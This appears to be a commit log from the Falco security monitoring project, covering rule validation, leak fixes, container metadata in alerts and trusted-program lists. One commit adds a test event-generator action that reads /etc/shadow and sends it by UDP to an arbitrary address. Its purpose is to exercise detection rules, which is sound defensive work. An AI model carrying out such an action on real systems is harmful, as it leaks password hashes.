Luca Marturana	212fd9353e	Push formatter on lua stack only if does not throw exceptions	2016-12-02 16:13:37 +01:00
Mark Stemm	28558959f3	Merge pull request #153 from djcross/dnf Adding DNF as non-alerting for RPM and package management	2016-12-01 17:51:58 -08:00
Daniel Cross	a8662c60da	Adding DNF as non-alerting for RPM and package management falco-CLA-1.0-signed-off-by: Daniel Cross <daniel.cross@rea-group.com>	2016-12-02 11:52:08 +11:00
Mark Stemm	b3c691e920	Prevent rule_result from leaking on error. Change falco_engine::process_event to return a unique_ptr that wraps the rule result, so it won't be leaked if this method throws an exception. This means that callers don't need to create their own.	2016-12-01 13:53:34 -06:00
Mark Stemm	ded3ee5bed	Add unit test for rule with invalid output. Add the ability to check falco's return code with exit_status and to generally match stderr with stderr_contains in a test. Use those to create a test that has an invalid output expression using %not_a_real_field. It expects falco to exit with 1 and the output to contain a message about the invalid output.	2016-12-01 13:53:34 -06:00
Mark Stemm	064b39f2be	Validate rule outputs when loading rules. Validate rule outputs when loading rules by attempting to create a formatter based on the rule's output field. If there's an error, it will propagate up through load_rules and cause falco to exit rather than discover the problem only when trying to format the event and the rule's output field. This required moving formats.{cpp,h} into the falco engine directory from the falco general directory. Note that these functions are loaded twice in the two lua states used by falco (engine and outputs). There's also a couple of minor cleanups: - falco_formats had a private instance variable that was unused, remove it. - rename the package for the falco_formats functions to formats instead of falco so it's more standalone. - don't throw a c++ exception in falco_formats::formatter. Instead generate a lua error, which is handled more cleanly. - free_formatter doesn't return any values, so set the return value of the function to 0.	2016-12-01 13:53:34 -06:00
Mark Stemm	2961eb4d21	Move container.info handling to falco engine. container.info handling used to be handled by the the falco_outputs object. However, this caused problems for applications that only used the falco engine, doing their own output formatting for matching events. Fix this by moving output formatting into the falco engine itself. The part that replaces %container.info/adds extra formatting to the end of a rule's output now happens while loading the rule.	2016-12-01 13:53:34 -06:00
Mark Stemm	704eb57e3c	Allow run_performance_tests to run test_mm. Make necessary changes to allow run_performance_tests to invoke the 'test_mm' program we use internally. Also add ability to run with a build directory separate from the source directory and to specify an alternate rules file. Finally, set up the kubernetes demo using sudo, a result of recent changes.	2016-11-28 14:54:14 -08:00
Mark Stemm	9ca8ed96b9	Improve error messages when loading rules. Related to the changes in https://github.com/draios/agent/pull/267, improve error messages when trying to load sets of rules with errors: - Check that yaml parsing of rules_content actually resulted in something. - Return an error for rules that have an empty name. - Return an error for yaml objects that aren't a rule/macro/list. - When compiling, don't print an error message, simply return one, including a wrapper "can not compile ..." string.	2016-11-28 12:53:36 -06:00
Mark Stemm	8b18315c1e	Fully specify FALCO_SHARE_DIR. Instead of having FALCO_SHARE_DIR be a relative path, fully specify it by prepending CMAKE_INSTALL_PREFIX in the top level CMakeLists.txt and don't prepend CMAKE_INSTALL_PREFIX in config_falco_engine.h.in. This makes it consistent with its use in the agent.	2016-11-10 16:51:51 -06:00
Mark Stemm	f95a0ead62	Honor USE_BUNDLED_DEPS option for third-party libs Honor a USE_BUNDLED_DEPS option for third-party libraries which can be applied globally. There are also USE_BUNDLED_XXX options that can be used individually for each library. Verified that this works by first building with USE_BUNDLED_DEPS=ON (the default), installing external packages ncurses-dev libssl-dev libcurl4-openssl-dev so CMake's find_package could use them, modifying the CMakeLists.txt to add "PATHS ${PROJECT_BINARY_DIR}/..." options to each find_path()/find_library() command to point to the previously installed third party libraries. It found them as expected. The sysdig fix in https://github.com/draios/sysdig/pull/672 forced this change, but it does also happen to fix a falco feature request https://github.com/draios/falco/issues/144.	2016-11-10 15:43:25 -06:00
Carl Sverre	b1ad9e644e	Added envvar SYSDIG_SKIP_LOAD to Dockerfile to skip kernel module manipulation This helps when running on a system which has the module loaded, but getting access to the module file is hard for some reason. Since I know that the right version of the module is loaded I just want falco to connect. I tested this with this run command: docker run -e SYSDIG_SKIP_LOAD=1 -it -v /dev:/host/dev -v /proc:/host/proc --privileged falco And it successfully connected to Sysdig and started printing out warnings for my system. falco-CLA-1.0-signed-off-by: Carl Sverre accounts@carlsverre.com	2016-11-02 12:45:21 -05:00
Mark Stemm	8a2924ad72	Updating for 0.4.0. CHANGELOG for release notes, README to update version.	2016-10-25 09:53:54 -07:00
Mark Stemm	f98ec60c88	Rule fixes for dragent. Make sure falco doesn't detect the things draios-agent does as suspicious. It's possible that you might run open source falco alongside sysdig cloud. App checks spawned by sysdig cloud binaries might also change namespace, so also allow children of sysdigcloud binaries to call setns.	2016-10-24 15:14:09 -07:00
Mark Stemm	0211a94f60	Add stats on events processed/dropped. Collect stats on the number of events processed and dropped. When run with -v, print these stats. This duplicates syddig behavior and can be useful when dianosing problems related to dropped events throwing off internal state tracking.	2016-10-24 11:02:52 -07:00
Mark Stemm	e0e640c67f	Add ability to write trace files. Bring over functionality from sysdig to write trace files. This is easy as all of the code to actually write the files is in the inspector. This just handles the -w option and arguments. This can be useful to write a trace file in parallel with live event monitoring so you can reproduce it later.	2016-10-24 10:15:10 -07:00
Mark Stemm	faef5621dd	Add k8s binaries as trusted programs Add a new list k8s_binaries and allow those binaries to do things like setns/spawn shells. It's not the case that all of these binaries actually do these things, but keeping it as a single list makes management easier.	2016-10-21 15:55:10 -07:00
Mark Stemm	e543fbf247	Allow falco to spawn shells in containers. Falco is allowed to spawn shells in containers as a part of its program output method.	2016-10-14 16:58:50 -07:00
Mark Stemm	f761ddff9f	Fix logic for detecting conf files. The logic for detecting if a file exists was backwards. It would treat a file as existing if it could not be opened. Reverse that logic so it works. This fixes https://github.com/draios/falco/issues/135.	2016-10-14 14:03:33 -07:00
Mark Stemm	1f7c711a69	Merge pull request #134 from draios/add-k8s-mesos-support Add k8s/mesos/container info to rule outputs.	2016-10-13 15:15:48 -07:00
Mark Stemm	880c39633d	Add k8s/mesos/container info to rule outputs Copy handling of -pk/-pm/-pc/-k/-m arguments from sysdig. All of the relevant code was already in the inspector so that was easy. The information from k8s/mesos/containers is used in two ways: - In rule outputs, if the format string contains %container.info, that is replaced with the value from -pk/-pm/-pc, if one of those options was provided. If no option was provided, %container.info is replaced with a generic %container.name (id=%container.id) instead. - If the format string does not contain %container.info, and one of -pk/-pm/-pc was provided, that is added to the end of the formatting string. - If -p was specified with a general value (i.e. not kubernetes/mesos/container), the value is simply added to the end and any %container.info is replaced with the generic value.	2016-10-13 14:48:32 -07:00
Mark Stemm	3bb84f5498	Alphabetize command line options. There are a lot of command line options now, so sort them alphabetically in the usage and getopt handling to make them easier to find. Also rename -p <pidfile> to -P <pidfile>, thinking ahead to the next commit.	2016-10-13 14:47:00 -07:00
Mark Stemm	7e60b4b6c2	Merge pull request #133 from draios/add-jq-to-docker Add jq to docker	2016-10-12 18:12:08 -07:00
Mark Stemm	1a78e45d7a	Merge pull request #132 from draios/event-generator-env Add exfiltration action, env-specified actions.	2016-10-12 18:11:40 -07:00
Mark Stemm	20440912b7	Add notes on how to post to slack webhooks. Add comments for program_output that show how to post to a slack webhook and an alernate logging method--came up in one of the github issues.	2016-10-12 17:08:28 -07:00
Mark Stemm	f6720d3993	Add jq to docker images. Add jq to the docker image containing falco. jq is very handy for transforming json, which comes into play if you want to post to slack (or other) webhooks.	2016-10-12 17:05:07 -07:00
Mark Stemm	82903359cb	Add exfiltration action, env-specified actions. Add an exfiltration action that reads /etc/shadow and sends the contents to a arbitrary ip address and port via a udp datagram. Add the ability to specify actions via the environment instead of the command line. If actions are specified via the environment, they replace any actions specified on the command line.	2016-10-12 17:04:01 -07:00